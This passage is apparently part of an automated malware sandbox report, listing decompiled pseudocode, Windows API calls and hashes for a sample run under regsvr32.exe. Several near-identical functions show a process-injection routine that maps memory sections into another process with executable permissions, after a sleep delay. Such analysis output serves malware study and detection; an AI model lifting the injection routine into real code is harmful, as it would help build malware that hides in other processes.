							 *_t124 = _t178;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t124, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
								_t126 = _t204 - 0x3c;
								 *_t126 = _t178;
								if(NtMapViewOfSection( *_t189,  *(_t204 - 0xc), _t126, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t203 =  *(_t204 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t178, _t203, 0x104);
									 *((intOrPtr*)(_t203 + 0x208)) =  *((intOrPtr*)(_t204 + 0x14));
									 *(_t204 - 8) =  *(_t204 - 8) + 1;
								}
							}
						}
						_t103 = _t204 - 0x50;
						 *(_t103 + 4) = _t178;
						 *_t103 =  *((intOrPtr*)(_t204 + 0x10)) + 0x10000;
						_t190 = _t204 - 0x58;
						if(NtCreateSection(_t190, 0xe, _t178, _t103, 0x40, 0x8000000, _t178) == 0) {
							while( *(_t204 - 8) != 0) {
								 *_t46 =  *(_t204 - 0x50);
								_t105 = _t204 - 0x48;
								 *_t105 = _t178;
								if(NtMapViewOfSection( *_t190, 0xffffffff, _t105, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t107 = _t204 - 0x40;
									 *_t107 = _t178;
									_t226 = NtMapViewOfSection( *_t190,  *(_t204 - 0xc), _t107, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 0x20);
									if(_t226 == 0) {
										L20();
										if(_t226 != 0 || _t226 == 0) {
											L24:
											asm("lodsb");
											goto L42;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t226 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t207 = _t207 - 1;
												goto L24;
											}
										}
									}
								}
								goto L62;
							}
						}
					}
				}
				L62:
				_t95 = L00401271(0x15a2, _t131, _t178, _t230);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction ID: b0faeeba7e18bafba690b3cb0d97e2e89bbfd40d66e78b2ea794a9924a670d05
Opcode Fuzzy Hash: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction Fuzzy Hash: 08511B71900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00401587(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				void* _t87;
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t136;
				long _t179;
				long* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				void* _t207;
				void* _t208;
				intOrPtr _t213;
				long _t227;
				void* _t232;

				_t232 = __fp0;
				asm("out 0xdc, al");
				_t1 = _t205 + 0x68;
				 *_t1 =  *((intOrPtr*)(_t205 + 0x68)) + __ecx;
				_t213 =  *_t1;
				_push(0x36c);
				_t208 = _t207 + 4;
				L00401271(_t87, __ebx, __edi, _t213);
				_t131 =  *((intOrPtr*)(_t205 + 8));
				_t179 = 0;
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t90;
				_t187 = _t205 - 0x60;
				 *_t187 = _t179;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t187);
				_t93 =  *_t187;
				if(_t93 != 0) {
					_t136 = _t205 - 0x30;
					 *_t136 = _t93;
					_t136[1] = _t179;
					_t189 = _t205 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t189, 0x18);
					 *_t189 = 0x18;
					_push(_t205 - 0x30);
					_push(_t189);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t179, _t179, 2) == 0) {
						 *(_t205 - 8) = _t179;
						_t101 = _t205 - 0x50;
						 *(_t101 + 4) = _t179;
						 *_t101 = 0x5000;
						_t190 = _t205 - 0x54;
						if(NtCreateSection(_t190, 6, _t179, _t101, 4, 0x8000000, _t179) == 0) {
							 *_t27 =  *(_t205 - 0x50);
							_t124 = _t205 - 0x44;
							 *_t124 = _t179;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t124, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
								_t126 = _t205 - 0x3c;
								 *_t126 = _t179;
								if(NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t126, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t179, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *(_t205 - 8) =  *(_t205 - 8) + 1;
								}
							}
						}
						_t103 = _t205 - 0x50;
						 *(_t103 + 4) = _t179;
						 *_t103 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t191 = _t205 - 0x58;
						if(NtCreateSection(_t191, 0xe, _t179, _t103, 0x40, 0x8000000, _t179) == 0) {
							while( *(_t205 - 8) != 0) {
								 *_t48 =  *(_t205 - 0x50);
								_t105 = _t205 - 0x48;
								 *_t105 = _t179;
								if(NtMapViewOfSection( *_t191, 0xffffffff, _t105, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t107 = _t205 - 0x40;
									 *_t107 = _t179;
									_t227 = NtMapViewOfSection( *_t191,  *(_t205 - 0xc), _t107, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 0x20);
									if(_t227 == 0) {
										L17();
										if(_t227 != 0 || _t227 == 0) {
											L21:
											asm("lodsb");
											goto L39;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t227 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t208 = _t208 - 1;
												goto L21;
											}
										}
									}
								}
								goto L59;
							}
						}
					}
				}
				L59:
				_t95 = L00401271(0x15a2, _t131, _t179, _t231);
				return _t95;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction ID: eba5a94354b6d959a908896b75b9ac4ab9a555b93fbf6af3f2d26d8a5be8b00e
Opcode Fuzzy Hash: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction Fuzzy Hash: 65512875900249BFEF208F91CC48FEFBBB8FF85B00F104159F911AA2A5E6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401584 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401584(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t85;
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t130;
				long* _t134;
				long _t177;
				long* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				void* _t206;
				void* _t211;
				long _t225;
				void* _t230;

				_t230 = __fp0;
				_t129 = __ebx - 1;
				_t211 = __ebx - 1;
				_push(0x36c);
				_t206 = _t205 + 4;
				L00401271(_t85, _t129, __edi, _t211);
				_t130 =  *((intOrPtr*)(_t203 + 8));
				_t177 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t88;
				_t185 = _t203 - 0x60;
				 *_t185 = _t177;
				 *((intOrPtr*)(_t130 + 0x4c))(_t88, _t185);
				_t91 =  *_t185;
				if(_t91 != 0) {
					_t134 = _t203 - 0x30;
					 *_t134 = _t91;
					_t134[1] = _t177;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t177, _t177, 2) == 0) {
						 *(_t203 - 8) = _t177;
						_t99 = _t203 - 0x50;
						 *(_t99 + 4) = _t177;
						 *_t99 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t177, _t99, 4, 0x8000000, _t177) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t122 = _t203 - 0x44;
							 *_t122 = _t177;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t122, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
								_t124 = _t203 - 0x3c;
								 *_t124 = _t177;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t124, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(_t177, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t101 = _t203 - 0x50;
						 *(_t101 + 4) = _t177;
						 *_t101 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						if(NtCreateSection(_t189, 0xe, _t177, _t101, 0x40, 0x8000000, _t177) == 0) {
							while( *(_t203 - 8) != 0) {
								 *_t46 =  *(_t203 - 0x50);
								_t103 = _t203 - 0x48;
								 *_t103 = _t177;
								if(NtMapViewOfSection( *_t189, 0xffffffff, _t103, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t105 = _t203 - 0x40;
									 *_t105 = _t177;
									_t225 = NtMapViewOfSection( *_t189,  *(_t203 - 0xc), _t105, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 0x20);
									if(_t225 == 0) {
										L19();
										if(_t225 != 0 || _t225 == 0) {
											L23:
											asm("lodsb");
											goto L41;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t225 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t206 = _t206 - 1;
												goto L23;
											}
										}
									}
								}
								goto L61;
							}
						}
					}
				}
				L61:
				_t93 = L00401271(0x15a2, _t130, _t177, _t229);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction ID: ff4589d9dd45cbe131ca404f5a1a7b84b96daa50389d3937c11961242829b966
Opcode Fuzzy Hash: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction Fuzzy Hash: 3F51FB75900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401727 Relevance: 3.2, APIs: 2, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: b3269723936a826867743af8648194db1896da90316e4de967469b083faf0333
Instruction ID: 14111f5365361c6cb25e6e8641aff9d84a81222d0f78e87a8274a0a0a7f535ba
Opcode Fuzzy Hash: b3269723936a826867743af8648194db1896da90316e4de967469b083faf0333
Instruction Fuzzy Hash: 22519136904204EBDB259A55CC48FBA77B5EF84704F24813BE842772F0D67C6A42E75B

Uniqueness

Uniqueness Score: -1.00%

Function 005A003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005A024D

Strings

kernel32.dll, xrefs: 005A008F, 005A0095
cess, xrefs: 005A018D

Memory Dump Source

Source File: 0000000B.00000002.472415838.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5a0000_sfrvjvv.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 339b6381adfffe255570805e1953e9d3465a61c11f423d1475d0b3c283b03e5d
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3B526874A11229DFDB64CF58C984BACBBB1BF09304F1480D9E94DAB291DB30AE95DF14

Uniqueness

Uniqueness Score: -1.00%

Function 005A0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005A0223,?,?), ref: 005A0E19
SetErrorMode.KERNELBASE(00000000,?,?,005A0223,?,?), ref: 005A0E1E

Memory Dump Source

Source File: 0000000B.00000002.472415838.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5a0000_sfrvjvv.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ce7575169f36a7c85206fcae42e0fcb861aa2e687c756cbd9285e154151780ed
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 18D0123114512877DB002A94DC09BCD7F1CDF09B62F008411FB0DD9080C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;

				_t24 = __eflags;
				_push(0x5a);
				L00401271(0x194a, _t16, _t21, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E0040149E(_t20, _t24); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E0040156B(_t20, _t25, __fp0, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t21, _t25);
			}

0x00401915
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction ID: 2a8389aefedc19a0c504b98736b9e0000cd3886a04144bd02a53e168a9e3d464
Opcode Fuzzy Hash: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction Fuzzy Hash: 7001A2B5208204F7EB006A949C61EBF3628AB01761F204037FA17B90F1D57C8A13E72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401920 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E00401920(void* __eax, void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t13;
				void* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t27;

				_t32 = __eflags;
				_t24 = __edi;
				asm("in eax, dx");
				_push(0x5a);
				L00401271(0x194a, __ebx, __edi, __eflags);
				_t19 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t19); // executed
				_t13 = E0040149E(_t23, _t32); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E0040156B(_t23, _t33, __fp0, _t19, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t19(0xffffffff, 0);
				_t15 = 0x194a;
				_push(0x5a);
				return L00401271(_t15, _t19, _t24, _t33);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction ID: 224bb2ef0974229b5a5fdcef52df60c5cd3bf8ec0745870aca08fc2285a6eed9
Opcode Fuzzy Hash: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction Fuzzy Hash: 6EF086B5204105FBDB009B949C61EBA77259F05361F204437F617B90F1C53C8513E62B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192A Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E0040192A(void* __edi, void* __eflags, void* __fp0) {
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				_push(0x5a);
				L00401271(0x194a, 0xcd, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction ID: 9248d4b3e658d46e670c13ad7b2d26eba18d2d49d4b0dc53c33eada2e420f8d1
Opcode Fuzzy Hash: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction Fuzzy Hash: 1DF06DB6208104EBDB00AA949C61EBA3625AB05361F204437BA17B90F1C53C8612EA2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192E Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E0040192E(void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				asm("out dx, al");
				_push(0x5a);
				L00401271(_t8, __ebx, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction ID: e24f51b341499e2e26426f908677bffa000874d55709296b6d837b784a8f1a12
Opcode Fuzzy Hash: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction Fuzzy Hash: 35F044B6204105F7DB00AF949C61EBA76259F05761F204577BA17B90F1C53D8512EB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931 Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction ID: 67248cb6658f2556eaba37909da5001fde87a2f9067ac25d4feca41700aa7417
Opcode Fuzzy Hash: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction Fuzzy Hash: 44F0A476204205EBDB00AFA49C51DBE7725AF04754F200577BA12B90F1CA788512EB2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1196, Parent PID: 5152COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	6.8%
